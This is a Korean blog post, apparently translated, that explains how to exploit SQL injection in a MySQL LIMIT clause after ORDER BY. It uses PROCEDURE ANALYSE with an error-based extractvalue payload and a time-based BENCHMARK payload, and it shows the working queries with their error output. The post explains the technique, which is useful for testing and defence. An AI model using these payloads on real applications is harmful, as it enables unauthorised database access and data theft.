뉴비에욤
[MySQL] SQL Injections in LIMIT 본문
mysql limit 함수에서 sql injection 공격 하기
셀 수 없을 정도로 많은 문서들이 SQL Injection(이하 SQLI) 공격 기법을 다루고 있다. 이 글은 굉장이 특이한 상황에서의 SQLI 기법을 다루고 있다. 특정 응용프로그램에서 SQLI를 테스트 할 때 간단한 인터넷 검색만으로 풀 수 없는 경우가 있었다. 바로 MySQL 5.x 버전에서 LIMIT 함수가 SQLI 공격 기법에 취약한 경우였다.
예제 쿼리
“SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT injection_point”
위 쿼리에서 중요한 점은 해당 쿼리에 “ORDER BY”가 사용되었다는 것이다. MySQL 에서는 “UNION” 전에 “ORDER BY”를 사용할 수 없다. 만약 “ORDER BY”가 사용되지 않았다면 그냥 “UNION”을 사용하여 쉽게 공격을 할 수 있다.
MySQL5 관련 문서에서는 “SELECT” 함수를 다음과 같이 설명하고 있다.
SELECT
[ALL | DISTINCT | DISTINCTROW ]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
select_expr [, select_expr ...]
[FROM table_references
[WHERE where_condition]
[GROUP BY {col_name | expr | position}
[ASC | DESC], ... [WITH ROLLUP]]
[HAVING where_condition]
[ORDER BY {col_name | expr | position}
[ASC | DESC], ...]
[LIMIT {[offset,] row_count | row_count OFFSET offset}]
[PROCEDURE procedure_name(argument_list)]
[INTO OUTFILE 'file_name' export_options
| INTO DUMPFILE 'file_name'
| INTO var_name [, var_name]]
[FOR UPDATE | LOCK IN SHARE MODE]]
“LIMIT” 함수 이후에는 “PROCEDURE”, “INTO”를 사용할 수 있다. 만약 애플리케이션에서 시스템에 파일을 쓸 수 있는 권한을 가진 DB 계정을 사용하고 있지 않는 이상 “INTO”는 쓸 모 없는 부분이다. 그렇다면 결국 LIMIT 함수를 공격하기 위해서는 “PROCEDURE”를 사용해야 한다는 것을 알 수 있다. Mysql에서 기본적으로 사용이 가능한 프로시져는 “ANALYSE” 다.
mysql> SELECT field FROM table where id > 0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1);
ERROR 1386 (HY000): Can't use ORDER clause with this procedure
“ANALYSE” 프로시져는 2개의 인자값을 가질 수 있다.
mysql> SELECT field FROM table where id > 0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1,1);
ERROR 1386 (HY000): Can't use ORDER clause with this procedure
문제를 해결할 수 있을 만한 것은 보이지 않는다(동일 오류 발생). ‘ANALYSE’ 인자들이 언제 실행되는지 알아보자.
mysql> SELECT field from table where id > 0 order by id LIMIT 1,1 procedure analyse((select IF(MID(version(),1,1) LIKE 5, sleep(5),1)),1);
ERROR 1108 (HY000): Incorrect parameters to procedure 'analyse’
sleep() 함수가 호출되지 않았다. 포기하지 않고 계속 시도한 결과 공격 벡터를 찾았다.
mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
ERROR 1105 (HY000): XPATH syntax error: ':5.5.41-0ubuntu0.14.04.1’
Voila!! 위 쿼리는 기본적으로 “Error-Based SQL Injections”로 불려지는 기법을 사용하고 있다. 그러므로 공격 대상 애플리케이션이 db 엔진의 에러를 보여주고 있다는 것을 알 수 있다. 그러나 에러를 보여주고 있는 것은 일반적이지 않기 때문에 만약 애플리케이션에서 에러를 보여주지 않으면 어떻게 될까??
알아본 결과, 위 쿼리에서 사용된 “error-based sqli” 기법과, 또 다른 기법인 “TIme-Based SQL Injections”을 같이 사용할 수 있게 된다. 공격 예제 쿼리는 다음과 같다.
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
실제 동작되는 쿼리이다. 흥미로운 점은 위 쿼리의 경우 “SLEEP” 함수가 동작하지 않아서 “BENCHMARK” 함수를 사용했다는 것이다.